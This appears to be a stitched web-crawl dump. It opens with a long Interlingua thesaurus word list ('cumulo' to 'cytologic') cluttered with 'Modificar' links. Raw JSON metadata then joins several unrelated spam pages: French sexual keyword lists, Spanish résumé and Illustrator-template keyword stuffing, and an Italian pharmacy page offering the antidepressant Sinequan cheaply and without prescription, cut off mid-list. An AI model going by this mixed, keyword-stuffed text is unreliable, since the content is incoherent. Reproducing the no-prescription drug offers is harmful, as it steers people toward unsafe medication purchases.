cumulo de circumstantias (adverse)Modificar cumulo de circumstantias (adversas) cumulo de ferraliaModificar cumulo de immunditiasModificar cumulo de pulpaModificar cumulo de ruinasModificar cumulo de stercoreModificar cumulocirroModificar cumulonimboModificar cumulostratoModificar cunaModificar cuna de viageModificar cuna pendenteModificar cuna portabileModificar cuna portativeModificar cuna portativa cuna suspenditeModificar cuna suspendita cunarModificar cunar un infanteModificar cuneageModificar cuneage de auroModificar cunealModificar cuneal(es) cunearModificar cuneateModificar cuneato(s) \/ cuneata(s) cuneatorModificar cuneifolieModificar cuneifolio(s) \/ cuneifolia(s) cuneiformeModificar cuneiforme(s) cuneoModificar cunicultor = cuniculicultorModificar cunicultura = cuniculiculturaModificar cunnilingusModificar cunnoModificar cupaModificar cupa a \/ de lavandaModificar cupa a \/ de miscerModificar cupa a potassaModificar cupa de biraModificar cupa de clarificationModificar cupa de excrementosModificar cupa de fermentationModificar cupa de lixiviaModificar cupa de morteroModificar cupa de pellaturasModificar cupa de puteoModificar cupa de tannageModificar cupa de tannoModificar cupa de tinctureroModificar cupa del danaidesModificar cupa de las danaides cupa pro facer caseoModificar cuperoModificar cupettaModificar cupetta de barometroModificar cupheaModificar cuphea igneeModificar cuphea ignea cupideModificar cupido(s) \/ cupida(s) cupide de gloriaModificar [cupido(s) \/ cupida(s)] de gloria cupide de monetaModificar [cupido(s) \/ cupida(s)] de moneta cupiditateModificar cupiditate de gloriaModificar cupiditate de poterModificar CupidoModificar cupidoModificar cupolaModificar cupola de ecclesiaModificar cupola de un observatorioModificar cupola hemisphericModificar cupola hemispherica cuppaModificar cuppa a \/ de fructosModificar cuppa DavisModificar cuppa de \/ in argentoModificar cuppa de crystalloModificar cuppa de disveloppamentoModificar Cuppa de EuropaModificar Cuppa de EuropaModificar cuppa de guildaModificar cuppa de revelationModificar cuppa de venenoModificar cuppa decorativeModificar cuppa decorativa cuppa del mundoModificar cuppa graduateModificar cuppa graduata cuppa mundialModificar cuppa ornamentalModificar cuppa telescopicModificar cuppa telescopica cuppa volanteModificar cuppellaModificar cuppellarModificar cuppellar vb cuppellationModificar cuprageModificar cuprarModificar cuprar un naveModificar cuprar una nave cupricModificar cuprico(s) \/ cuprica(s) cuprifereModificar cuprifero(s) \/ cuprifera(s) cuprismoModificar cupriteModificar cuproModificar cupro in barrasModificar cupro in foliosModificar cupro jalneModificar cupro jalne \/ jalno cupro martellateModificar cupro martellato cupro purModificar cupro puro cupro rubieModificar cupro rubio cupro siliceeModificar cupro siliceo cuproseModificar cuproso(s) \/ cuprosa(s) cupulaModificar cupuliferasModificar cupulifereModificar cupulifero(s) \/ cupulifera(s) cupuliflorModificar cupuliflor(es) cupuliformeModificar cupuliforme(s) cupulometriaModificar curaModificar cura a domicilioModificar cura de anima(s)Modificar cura de aquaModificar cura de dishabituationModificar cura de disintoxicationModificar cura de invalidosModificar cura de magrimentoModificar cura de quininaModificar cura de rejuvenescimentoModificar cura de reposoModificar cura del manosModificar cura de las manos cura del pedesModificar cura de los pedes cura del pelleModificar cura de la pelle cura disintoxicanteModificar cura exsudativeModificar cura exsudativa cura hydrotherapicModificar cura hydrotherapica cura hygienic del dentaturaModificar cura hygienica de la dentatura cura marinModificar cura marina cura maternalModificar cura materneModificar cura materna cura medicModificar cura medica cura medic specialistaModificar cura medica specialista cura prenatalModificar cura sanatorialModificar cura solarModificar cura thermalModificar cura uvalModificar cura-auresModificar curabileModificar curabile(s) curabilitateModificar curaçaoModificar curadentesModificar curadentes [le curanteModificar curante(s) adj curarModificar curar le manosModificar curar las manos curar maladiasModificar curar un feritaModificar curar una ferita curar un personaModificar curar una persona curareModificar curare [le curarinaModificar curarisarModificar curarizar curarisationModificar curarization curarismoModificar curas neonatalModificar curas neonatales curas obstetricModificar curas obstetricas curas obstetric de quartieroModificar curas obstetricas de quartiero curas postnatalModificar curas postnatales curas prenatalModificar curas prenatales curatelaModificar curationModificar curation miraculoseModificar curation miraculosa curation per (le) fideModificar curation per (la) fide curation per (le) precariaModificar curation per (la) precaria curation portentoseModificar curation portentosa curation radicalModificar curativeModificar curativo(s) \/ curativa(s) curativoModificar curatoModificar curatorModificar curcumaModificar curettaModificar curettageModificar curettage per suctionModificar curettarModificar curiaModificar curia episcopalModificar curialModificar curial(es) adj curie [F]Modificar curietherapiaModificar curioseModificar curioso(s) \/ curiosa(s) curiositateModificar curiositate importunModificar curiositate importuna curiositate insatiabileModificar curiositate insatisfacteModificar curiositate insatisfacta curiositate malsanModificar curiositate malsana curiositate morbideModificar curiositate morbida curiositate viveModificar curiositate viva curiumModificar curling [A]Modificar curloModificar currenteModificar currente adj, sub currente acusticModificar currente acustica currente adverseModificar currente adversa currente alternateModificar currente alternata currente alternativeModificar currente alternativa currente anodicModificar currente anodica currente artisticModificar currente artistica currente ascendenteModificar currente biphasateModificar currente biphasata currente biphasicModificar currente biphasica currente cathodicModificar currente cathodica currente circularModificar currente continueModificar currente continua currente contrariModificar currente contraria currente de aereModificar currente de alte tensionModificar currente de alta tension currente de anodoModificar currente de basse tensionModificar currente de bassa tension currente de cargaModificar currente de collectorModificar currente de convectionModificar currente de discargaModificar currente de dispersionModificar currente de electronsModificar currente de excitationModificar currente de fangoModificar currente de fugaModificar currente de ideasModificar currente de inductionModificar currente de lavaModificar currente de magnetisationModificar currente de magnetization currente de mareaModificar currente de pensamentoModificar currente de pensata(s)Modificar currente de polarisationModificar currente de polarization currente de refluxoModificar currente de saturationModificar currente de transversaModificar Currente del golfoModificar currente del marModificar currente del \/ de_la mar currente descendenteModificar currente diphasateModificar currente diphasata currente diphasicModificar currente diphasica currente electricModificar currente electrica currente electronicModificar currente electronica currente equatorialModificar currente expressionistaModificar currente faradicModificar currente faradica currente galvanicModificar currente galvanica currente induciteModificar currente inducita currente inductorModificar currente inductrice currente intenseModificar currente intensa currente laminarModificar currente lavicModificar currente lavica currente marinModificar currente marina currente monophaseModificar currente monophasicModificar currente monophasica currente polyphasateModificar currente polyphasata currente principalModificar currente pulsatoriModificar currente pulsatoria currente reactiveModificar currente reactiva currente sanguineeModificar currente sanguinea currente telluricModificar currente tellurica currente thermionicModificar currente thermionica currente triphasateModificar currente triphasata currente triphaseModificar currente triphasicModificar currente triphasica currente turbulenteModificar currente turbulenta currentes atmosphericModificar currentes atmosphericas currentes depressionariModificar currentes depressionarias currentes federalistaModificar currentes federalistas currentes formalisticModificar currentes formalisticas currentes inductiveModificar currentes inductivas currentes naturalisticModificar currentes naturalisticas currentes pragmatisticModificar currentes pragmatisticas currentes rationalistaModificar currentes rationalistas currentes reformistaModificar currentes reformistas currentes schismaticModificar currentes schismaticas currentes separatisticModificar currentes separatisticas currerModificar currer a su perditaModificar currer a su perditionModificar currer al auxilio de un personaModificar currer al auxilio de una persona currer al capiteModificar currer a la capite currer al capite del pelotonModificar currer a la capite del peloton currer al testaModificar currer a latesta currer al testa del pelotonModificar currer a la testa del peloton currer al trottoModificar currer amokModificar currer le 3.000 metros steeple chaseModificar currer los 3.000 metros steeple chase currer le mundoModificar currer le riscoModificar currer (un) periculoModificar currer viaModificar curreroModificar currero de marathonModificar currero del matinoModificar curriculoModificar curriculum vitaeModificar curritorModificar curritor automobilistaModificar curritor cyclistaModificar curritor cyclista professionalModificar curritor motocyclistaModificar curry [A]Modificar cursaModificar cursa a \/ de \/ super barrierasModificar cursa a \/ de bicyclettasModificar cursa a \/ de \/ super hagasModificar cursa a \/ de \/ super obstaculosModificar cursa a \/ de patinesModificar cursa a pedeModificar cursa a pede a transverso le boscosModificar cursa a pede a transverso los boscos cursa a \/ de \/ super sepesModificar cursa a \/ de staffettasModificar cursa a torchasModificar cursa al anelloModificar cursa campestreModificar cursa contra le horologioModificar cursa contra le horologio in le montaniaModificar cursa cyclisticModificar cursa cyclistica cursa de automobiles \/ autosModificar cursa de canesModificar cursa de cavallosModificar cursa de eliminationModificar cursa de kartingModificar cursa de longe distantiaModificar cursa de longa distantia cursa de montaniaModificar cursa de proba \/ provaModificar cursa de side-carModificar cursa de trottoModificar cursa de velocitateModificar cursa del vesperaModificar cursa de la vespera cursa detra dernyModificar cursa eliminatoriModificar cursa eliminatoria cursa hippicModificar cursa hippica cursa in saccoModificar cursa in taxiModificar cursa per eliminationModificar cursa per etapesModificar cursa super pistaModificar cursasModificar cursas de canesModificar cursas de leporariosModificar curseroModificar cursivaModificar cursiveModificar cursivo(s) \/ cursiva(s) cursoModificar curso a \/ de suerModificar curso accelerateModificar curso accelerato curso adverseModificar curso adverso curso al parModificar curso biblicModificar curso biblico curso complementariModificar curso complementario curso de aperturaModificar curso de aquaModificar curso de \/ del auroModificar curso de \/ del bursaModificar curso de \/ de_la bursa curso de cambioModificar curso de cantoModificar curso de cocinaModificar curso de conversationModificar curso de conversionModificar curso de dansaModificar curso de derapageModificar curso de designoModificar curso de emissionModificar curso de esperantoModificar curso de estateModificar curso de formation de quadroModificar curso de hibernoModificar curso de initiationModificar curso de InterlinguaModificar curso de linguaModificar curso de musicaModificar curso de natationModificar curso de perfectionamentoModificar curso de recyclageModificar curso de skiModificar curso de stenographiaModificar curso de su pensamentosModificar curso de sus pensamentos curso de su pensatasModificar curso de sus pensatas curso de transitionModificar curso de un maladiaModificar curso de una maladia curso de vacantiasModificar curso del astrosModificar curso de los astros curso del cosasModificar curso de las cosas curso del dieModificar curso del dollarModificar curso del eventosModificar curso de los eventos curso del guerraModificar curso de la guerra curso del historiaModificar curso de la historia curso del laboresModificar curso de los labores curso del mercatoModificar curso del planetasModificar curso de los planetas curso del RhenoModificar curso del rubloModificar curso del stellasModificar curso de las stellas curso del travaliosModificar curso de los travalios curso del vesperaModificar curso de la vespera curso del vespereModificar curso del vitaModificar curso de la vita curso diurneModificar curso diurno curso elementariModificar curso elementario curso estiveModificar curso estivo curso flexuose de un fluvioModificar curso flexuoso de un fluvio curso fulmineModificar curso inferiorModificar curso inferior de un fluvioModificar curso intensiveModificar curso intensivo curso introductiveModificar curso introductivo curso monetariModificar curso monetario curso per correspondentiaModificar curso polycopiateModificar curso polycopiato curso preparatoriModificar curso preparatorio curso propedeuticModificar curso propedeutico curso superiorModificar curso superior de un fluvioModificar curso vitalModificar cursorModificar cursor automobileModificar cursor de marathonModificar cursos postuniversitariModificar cursos postuniversitarios curtarModificar curteModificar curto(s) \/ curta(s) curte circuitoModificar curto circuito curte circuito fusibileModificar curto circuito fusibile curte de halitoModificar [curto(s) \/ curta(s)] de halito curte de intelligentiaModificar [curto(s) \/ curta(s)] de intelligentia curte de intendimentoModificar [curto(s) \/ curta(s)] de intendimento curte de vistaModificar [curto(s) \/ curta(s)] de vista curte introductionModificar curta introduction curte-circuitarModificar curtitateModificar curuleModificar curule(s) adj curvaModificar curva adiabaticModificar curva adiabatica curva asymptoticModificar curva asymptotica curva barometricModificar curva barometrica curva bidimensionalModificar curva catenariModificar curva catenaria curva characteristicModificar curva characteristica curva con bon visibilitateModificar curva con bona visibilitate curva conchoideModificar curva cotidalModificar curva cubicModificar curva cubica curva curvaModificar curva cycloidalModificar curva de absorptionModificar curva de crescentiaModificar curva de crescimentoModificar curva de dissociationModificar curva de distillationModificar curva de fatigaModificar curva de febreModificar curva de frequentiaModificar curva de magnetisationModificar curva de magnetization curva de precipitationModificar curva de productionModificar curva de rendimentoModificar curva de resonantiaModificar curva de superviventiaModificar curva de temperaturaModificar curva del camminoModificar curva del momentosModificar curva de los momentos curva del nascentiasModificar curva de las nascentias curva del natalitateModificar curva de la natalitate curva dupleModificar curva dupla curva epicycloidalModificar curva exponentialModificar curva exteriorModificar curva febrilModificar curva gaussianModificar curva gaussiana curva hyetographicModificar curva hyetographica curva hyperbolicModificar curva hyperbolica curva hypsographicModificar curva hypsographica curva hypsometricModificar curva hypsometrica curva in SModificar curva in spinula a \/ de capillosModificar curva interiorModificar curva isobareModificar curva isobara curva isobaricModificar curva isobarica curva isobathaModificar curva isobatha curva logarithmicModificar curva logarithmica curva logisticModificar curva logistica curva loxodromicModificar curva loxodromica curva nulleModificar curva nulla curva oscillographicModificar curva oscillographica curva parabolicModificar curva parabolica curva parallelModificar curva parallela curva parametricModificar curva parametrica curva periculoseModificar curva periculosa curva planModificar curva plana curva pluviometricModificar curva pluviometrica curva polarModificar curva serpentinModificar curva serpentina curva sin visibilitateModificar curva spatialModificar curva suaveModificar curva tangenteModificar curva tautochroneModificar curva tautochrona curva tridimensionalModificar curva unduloseModificar curva undulosa curva vitalModificar curvabileModificar curvabiles curvamentoModificar curvarModificar curvar le dorsoModificar curvar seModificar curvas geotropicModificar curvas geotropicas curvateModificar curvato(s) \/ curvata(s) curvaturaModificar curvatura de un speculo concaveModificar curvatura de un speculo concavo curvatura del terraModificar curvatura de la terra curvatura gaussianModificar curvatura gaussiana curvatura geodesicModificar curvatura geodesica curvatura heliotropicModificar curvatura heliotropica curveModificar curvo(s) \/ curva(s) curvettaModificar curvettarModificar curvicauuleModificar curvicaule(s) adj curviflorModificar curviflor(es) curvifoliateModificar curvifoliato(s) \/ curvifoliata(s) curviformeModificar curviforme(s) curvilineeModificar curvilineo(s) \/ curvilinea(s) curvimetroModificar curvinervateModificar curvinervato(s) \/ curvinervata(s) curvinerveModificar curvinervo(s) \/ curvinerva(se) curvirostreModificar curvirostro(s) \/ curvirostra(s) curvisepaleModificar curvisepalo(s) \/ curvisepala(s) cuscutaModificar cuscuta campestreModificar cuspidalModificar cuspidal(es) cuspidateModificar cuspidato(s) \/ cuspidata(s) cuspideModificar cuspide [la cuspide de lanceaModificar cuspide de un contraforteModificar cuspide de un lanceaModificar cuspide de una lancea cuspidiformeModificar cuspidiforme(s) cuspidipetaleModificar cuspidipetalo(s) \/ cuspidipetala(s) custard [A]Modificar custodeModificar custode [le custode de casaModificar custode de museoModificar custode del temploModificar custodiaModificar custodialModificar custodial(es) custodiarModificar cutaneeModificar cutaneo(s) \/ cutanea(s) cuteModificar cute [la cute anserinModificar cute anserina cuticulaModificar cuticularModificar cuticular(es) cutinaModificar cutireactionModificar cutireaction positiveModificar cutireaction positiva cutter [A]Modificar cyanamidoModificar cyanamido calcicModificar cyanamido calcico cyanatoModificar cyanhydricModificar cyanhydrico(s) \/ cyanhydrica)s) cyanicModificar cyanico(s) \/ cyanica(s) cyanoModificar cyanogenoModificar cyanogrammaModificar cyanographiaModificar cyanographoModificar cyanometroModificar cyanose = cyanosisModificar cyanospermeModificar cyanospermo(s) \/ cyanosperma(s) cyanoticModificar cyanotico(s) \/ cyanotica(s) cyanotypiaModificar cyanotypoModificar cyanurationModificar cyanuroModificar cyanuro de potassiumModificar cyanuro potassicModificar cyanuro potassico cyanuro sulfuricModificar cyanuro sulfurico cyberneticModificar cybernetico(s) \/ cybernetica(s) cyberneticaModificar cyberneticoModificar cybernetisarModificar cybernetizar cybernetisationModificar cybernetization cyberspace [A]Modificar cyclabileModificar cyclabile(s) cyclamatoModificar cyclaminoModificar cyclicModificar cyclico(s) \/ cyclica(s) cyclicitateModificar cyclidioModificar cyclismoModificar cyclismo professionalModificar cyclistaModificar cyclista a motorModificar cyclisticModificar cyclistico(s) \/ cyclistica(s) cycloModificar cyclo anovulatoriModificar cyclo anovulatorio cyclo biologicModificar cyclo biologico cyclo cardiacModificar cyclo cardiaco cyclo conjuncturalModificar cyclo culturalModificar cyclo de cantosModificar cyclo de \/ del carbonModificar cyclo de contosModificar cyclo de erosionModificar cyclo de hystereseModificar cyclo de poemasModificar cyclo de poesiasModificar cyclo de sonettosModificar cyclo del GralModificar cyclo del maculas del_sol \/ solarModificar cyclo de las maculas del_sol \/ solares cyclo del naturaModificar cyclo de la natura cyclo del ornithinaModificar cyclo de la ornithina cyclo del rege ArthurModificar cyclo del Tabula RotundeModificar cyclo de la Tabula Rotunda cyclo del vitaModificar cyclo de la vita cyclo economicModificar cyclo economico cyclo estralModificar cyclo hydrologicModificar cyclo hydrologico cyclo irreversibileModificar cyclo liturgicModificar cyclo liturgico cyclo lunarModificar cyclo menstrualModificar cyclo mitoticModificar cyclo mitotico cyclo oestralModificar cyclo ovarianModificar cyclo ovariano cyclo parasexualModificar cyclo phreaticModificar cyclo phreatico cyclo reproductorModificar cyclo solarModificar cyclo thermodynamicModificar cyclo thermodynamico cyclo vitalModificar cyclocephaliaModificar cyclocrossModificar cyclocrossistaModificar cycloidalModificar cycloidal(es) cycloideModificar cycloide [le cyclometriaModificar cyclometricModificar cyclometrico(s) \/ cyclometrica(s) cyclometroModificar cyclomorphose = cyclomorphosisModificar cyclomotorModificar cyclomotoristaModificar cyclonModificar cyclon devastatorModificar cyclon tropicalModificar cyclonalModificar cyclonal(es) cyclonicModificar cyclonico(s) \/ cyclonica(s) cyclopeModificar cyclope [le cyclopetaleModificar cyclopetalo(s) \/ cyclopetala(s) cyclophreniaModificar cyclopicModificar cyclopico(s) \/ cyclopica(s) cycloramaModificar cyclorama [le cycloramicModificar cycloramico(s) \/ cycloramica(s) cyclose = cyclosisModificar cyclosporinaModificar cyclostomaModificar cyclostoma [le cyclostylarModificar cyclostylar vb cyclostylar un circularModificar cyclostylar una circular cyclostyloModificar cyclothymiaModificar cyclothymicModificar cyclothymico(s) \/ cyclothymica(s) cyclothymicoModificar cyclotourismoModificar cyclotouristaModificar cyclotouristicModificar cyclotouristico(s) \/ cyclotouristica(s) cyclotronModificar cyclotronicModificar cyclotronico(s) \/ cyclotronica(s) cydoniaModificar cygnoModificar cygno columbianModificar cygno columbiano cygno mantuanModificar cygno mantuano cygno muteModificar cygno muto cylindrageModificar cylindrarModificar cylindrataModificar cylindraxeModificar cylindraxe [le cylindricModificar cylindrico(s) \/ cylindrica(s) cylindricitateModificar cylindriformeModificar cylindriforme(s) cylindroModificar cylindro a alte pressionModificar cylindro a alta pression cylindro de hydrogenoModificar cylindro de oxygenoModificar cylindro de pumpaModificar cylindro de revolutionModificar cylindro de vaporModificar cylindro graduateModificar cylindro graduato cylindro hydraulicModificar cylindro hydraulico cylindro scalenModificar cylindro scaleno cylindrocellularModificar cylindrocephalicModificar cylindrocephalico cylindroideModificar cylindroide [le cymaModificar cyma [la cyma del monteModificar cyma helicoidalModificar cyma scorpioideModificar cymatioModificar cymbalariaModificar cymbaleroModificar cymbaloModificar cymbalos chineseModificar cymbalos chineses cymophanaModificar cymoseModificar cymose [la cynanchoModificar cynegeticModificar cynegetico(s) \/ cynegetica(s) cynegeticaModificar cynicModificar cynico(s) \/ cynica(s) cynicoModificar cynipeModificar cynipe [le cynipe del quercoModificar cynismoModificar cynocephaleModificar cynocephalo(s) \/ cynocephala(s) cynocephaloModificar cynodonModificar cynodromoModificar cynoglossoModificar cynologiaModificar cynologicModificar cynologico(s) \/ cynologica(s) cynologoModificar cynophileModificar cynophilo(s) \/ cynophila(s) cynophiloModificar cynophobiaModificar cynophoboModificar cynosuroModificar cynosuro cristateModificar cynosuro cristato cynosuro echinateModificar cynosuro echinato cyoanophyseaModificar cyperaceasModificar cyperaceeModificar cyperaceo(s) \/ cyperacea(s) cyperoModificar cypero esculenteModificar cypero flavescenteModificar cypero fuscModificar cypero fusco cyphose = cyphosisModificar cypressetoModificar cypressoModificar CyprianoModificar CyprideModificar cyprideModificar cyprieModificar cyprio(s) \/ cypria(s) cyprinicultorModificar cypriniculturaModificar cyprinodonteModificar cyprinodonte [le cyprioModificar cypriotaModificar cypriota adj, sub cypripedioModificar CyproModificar cyrillicModificar cyrillico(s) \/ cyrillica(s) cyrtomioModificar cystalgiaModificar cysteModificar cyste [le cyste hematicModificar cyste hematico cyste hydaticModificar cyste hydatico cystectomiaModificar cysteinaModificar cysticModificar cystico(s) \/ cystica(s) cysticercoModificar cysticercose = cysticercosisModificar cystiformeModificar cystiforme(s) cystitisModificar cystoceleModificar cystocele [la cystogrammaModificar cystographiaModificar cystographicModificar cystographico(s) \/ cystographica(s) cystopterisModificar cystopteris [la cystoscopiaModificar cystoscopicModificar cystoscopico(s) \/ cystoscopica(s) cystoscopioModificar cystotomiaModificar cytisoModificar cytiso racemoseModificar cytiso racemoso cytobiologiaModificar cytobiologicModificar cytobiologico(s) \/ cytobiologica(s) cytobiologoModificar cytogenese = cytogenesisModificar cytogeneticaModificar cytogeneticoModificar cytogenicModificar cytogenico(s) \/ cytogenica(s) cytologiaModificar cytologicModificar cytologico(s) \/ cytologica(s)","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/interlingua.fandom.com\/wiki\/Thesauro_corpore","date":"2019-03-26T15:17:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205534.99\/warc\/CC-MAIN-20190326135436-20190326161436-00270.warc.gz","language":"ina","language_score":0.4200465381,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"ina_Latn_score\": 0.42004653811454773, \"ast_Latn_score\": 0.099942646920681, \"por_Latn_score\": 0.08622380346059799, \"cat_Latn_score\": 0.06110994517803192, \"spa_Latn_score\": 0.03658084198832512, \"ile_Latn_score\": 0.03436712548136711, \"vec_Latn_score\": 0.026497064158320427, \"lat_Latn_score\": 0.02043852023780346, \"nld_Latn_score\": 0.016523903235793114, \"oci_Latn_score\": 0.015907175838947296, \"swe_Latn_score\": 0.015575049445033073, \"dan_Latn_score\": 0.014566074125468731, \"glg_Latn_score\": 0.012520043179392815, \"lvs_Latn_score\": 0.012084685266017914, \"ron_Latn_score\": 0.011360151693224907}","num_words":21740,"character_repetition_ratio":0.26,"word_repetition_ratio":0.002,"special_characters_ratio":0.112,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":7745.4,"cluster_detection":-1} +{"text":"No description.\nPlease update your profile.\nimage sexe blague de sex\nappel visio sexe sex chat\nle sexe telerealite teen sex petite\nmamie sexe gratuit photo sexe homme\nvideo sexe gratuite sexe mamans\nSexe amatur sexe porte jarretelle\nAmis de sexe en streaming amateur sexe\nSexe trash sexe gratuit vidéo\nMalade du sexe films de sexe gratuit\n@ 2017 childcare-Care WordPress Theme.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/dfcity.org\/vid%C3%A9o-sexe-des-animaux-sexe-boulangerie","date":"2019-04-22T20:33:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578582584.59\/warc\/CC-MAIN-20190422195208-20190422221208-00152.warc.gz","language":"ina","language_score":0.3509837687,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.35098376870155334, \"vec_Latn_score\": 0.17754268646240234, \"fra_Latn_score\": 0.09277529269456863, \"nov_Latn_score\": 0.08162688463926315, \"ile_Latn_score\": 0.02688324823975563, \"nrm_Latn_score\": 0.02577357552945614, \"wls_Latn_score\": 0.025196906179189682, \"lij_Latn_score\": 0.021100761368870735, \"glg_Latn_score\": 0.020367145538330078, \"wes_Latn_score\": 0.020013459026813507, \"eng_Latn_score\": 0.018538780510425568, \"eus_Latn_score\": 0.01827055960893631, \"lat_Latn_score\": 0.014197204262018204, \"mfe_Latn_score\": 0.013300655409693718, \"atj_Latn_score\": 0.012801426462829113}","num_words":114,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":0.436,"perplexity_score":8465.2,"cluster_detection":-1} +{"text":"pdf the british influence in the birth of spanish sport como presentar un curriculum, como presentar un curriculum eu lyme vlse igg eia test system pdf, mészáros i a atualidade hist³rica da ofensiva socialista como presentar un curriculum, revista latinoamericana de ciencias sociales ni±ez y juventud vol como presentar un curriculum, interpretive structural modeling of key pdf download available como presentar un curriculum,\nPdf the British Influence In the Birth Of Spanish Sport Como Presentar Un Curriculum fuente: researchgate.net\nComo Presentar Un Curriculum Eu Lyme Vlse Igg Eia Test System Pdf fuente: docplayer.org\nMészáros I A atualidade Hist³rica Da Ofensiva socialista Como Presentar Un Curriculum fuente: pt.slideshare.net\nRevista Latinoamericana De Ciencias sociales Ni±ez Y Juventud Vol Como Presentar Un Curriculum fuente: issuu.com\nInterpretive Structural Modeling Of Key Pdf Download Available Como Presentar Un Curriculum fuente: researchgate.net\nComo Presentar Un Curriculum Momo Mobile Money fuente: mobilemoney.com.sv\nEu Lyme Vlse Igg Eia Test System Pdf Como Presentar Un Curriculum fuente: docplayer.org\ncomo presentar un curriculum momo mobile money, eu lyme vlse igg eia test system pdf como presentar un curriculum, pdf using concept based instruction in the l2 classroom como presentar un curriculum, como presentar un curriculum 57 best currculum molones images on pinterest,","id":"","dump":"CC-MAIN-2019-22","url":"http:\/\/teleycinema.com\/como-presentar-un-curriculum\/","date":"2019-05-26T10:07:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232259015.92\/warc\/CC-MAIN-20190526085156-20190526111156-00211.warc.gz","language":"ina","language_score":0.3077415228,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.30774152278900146, \"ast_Latn_score\": 0.1854218691587448, \"spa_Latn_score\": 0.1045285239815712, \"srd_Latn_score\": 0.03895847871899605, \"cbk_Latn_score\": 0.0343799851834774, \"arg_Latn_score\": 0.03244132176041603, \"glg_Latn_score\": 0.03232111036777496, \"eng_Latn_score\": 0.03179655224084854, \"por_Latn_score\": 0.029187550768256187, \"pap_Latn_score\": 0.02066839300096035, \"cat_Latn_score\": 0.014685883186757565, \"ron_Latn_score\": 0.011539510451257229, \"oci_Latn_score\": 0.010943016968667507, \"ita_Latn_score\": 0.0103334691375494}","num_words":369,"character_repetition_ratio":0.18,"word_repetition_ratio":0.436,"special_characters_ratio":0.166,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.427,"perplexity_score":6072.5,"cluster_detection":-1} +{"text":"Certificate Adobe Illustrator Template certificate adobe illustrator template certificate design templates vector free vector in adobe illustrator. certificate adobe illustrator template award certificate template ai illustrator certificate template award ideas. certificate adobe illustrator template gift certificate free vector in adobe illustrator ai ai template. Certificate Adobe Illustrator Template certificate adobe illustrator template dance certificate template download 205 certificates in adobe templates. certificate adobe illustrator template printable certificate template 35 adobe illustrator documents printable. certificate adobe illustrator template printable certificate template 35 adobe illustrator documents template. Certificate Adobe Illustrator Template certificate adobe illustrator template adobe illustrator certificate template certificate template adobe printable.\nCertificate Adobe Illustrator Template Certificate Design Templates Vector Free Vector In Adobe IllustratorCertificate Adobe Illustrator Template Award Certificate Template Ai Illustrator Certificate Template Award Ideas Certificate Adobe Illustrator Template Gift Certificate Free Vector In Adobe Illustrator Ai Ai TemplateCertificate Adobe Illustrator Template Dance Certificate Template Download 205 Certificates In Adobe Templates Certificate Adobe Illustrator Template Printable Certificate Template 35 Adobe Illustrator Documents PrintableCertificate Adobe Illustrator Template Printable Certificate Template 35 Adobe Illustrator Documents TemplateCertificate Adobe Illustrator Template Adobe Illustrator Certificate Template Certificate Template Adobe Printable\nCertificate Adobe Illustrator Template certificate adobe illustrator template award certificate template ai illustrator certificate template award ideas. certificate adobe illustrator template gift certificate free vector in adobe illustrator ai ai template. certificate adobe illustrator template dance certificate template download 205 certificates in adobe templates. certificate adobe illustrator template printable certificate template 35 adobe illustrator documents printable. certificate adobe illustrator template printable certificate template 35 adobe illustrator documents template.","id":"","dump":"CC-MAIN-2019-26","url":"http:\/\/customcartoonbakery.com\/certificate-adobe-illustrator-template\/","date":"2019-06-25T18:21:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999876.81\/warc\/CC-MAIN-20190625172832-20190625194832-00319.warc.gz","language":"ina","language_score":0.3853133321,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.38531333208084106, \"lat_Latn_score\": 0.1058952808380127, \"eng_Latn_score\": 0.09589417278766632, \"nld_Latn_score\": 0.04879046976566315, \"slv_Latn_score\": 0.028293577954173088, \"pap_Latn_score\": 0.019964825361967087, \"dag_Latn_score\": 0.017756689339876175, \"pol_Latn_score\": 0.01763482764363289, \"ron_Latn_score\": 0.015819959342479706, \"mlt_Latn_score\": 0.014653299935162067, \"som_Latn_score\": 0.014205927029252052, \"lvs_Latn_score\": 0.014186309650540352, \"nno_Latn_score\": 0.014049705117940903, \"slk_Latn_score\": 0.01274262648075819, \"fuv_Latn_score\": 0.01227305456995964, \"ita_Latn_score\": 0.01165287010371685, \"dan_Latn_score\": 0.010776937007904053}","num_words":540,"character_repetition_ratio":0.261,"word_repetition_ratio":0.902,"special_characters_ratio":0.127,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":0.231,"perplexity_score":7584.0,"cluster_detection":-1} +{"text":"Valutazione 4.5 sulla base di 387 voti.\nPrezzo da €0.26 Per pillola\ncosto Sinequan in farmacia\nA buon mercato Doxepin hydrochloride Giappone\nSinequan generico brasileiro\nAcquistare Sinequan 75 mg Finlandia\nSinequan generico colombia\nfarmacias venden Sinequan buenos aires\nPrezzo Sinequan 75 mg Spagna\nA buon mercato 75 mg Sinequan Australia\ncuanto cuesta Sinequan generico\nSconto Doxepin hydrochloride Spagna\nSinequan vendita on line in italia\nAcquista Sinequan Spagna\nquanto costa il Sinequan generico\nbasso costo Sinequan Repubblica Ceca\nAcquistare Doxepin hydrochloride Repubblica Ceca\ncheap Clomid\nAtarax 25 mg Sconto In linea in Hornell, NY\nnuestraherencia.com.ve\nse puede comprar Sinequan sin receta en farmacias\nin linea 75 mg Sinequan Inghilterra\ngenerico Sinequan Tacchino\ngenerico 75 mg Sinequan Finlandia\ncome comprare Sinequan generico\nIl costo di 75 mg Sinequan Polonia\ngenerico Sinequan medley\nbasso costo 75 mg Sinequan Francia\nA buon mercato Doxepin hydrochloride Olanda\ncosa serve per acquistare il Sinequan\nSinequan en farmacias sin receta\nA buon mercato 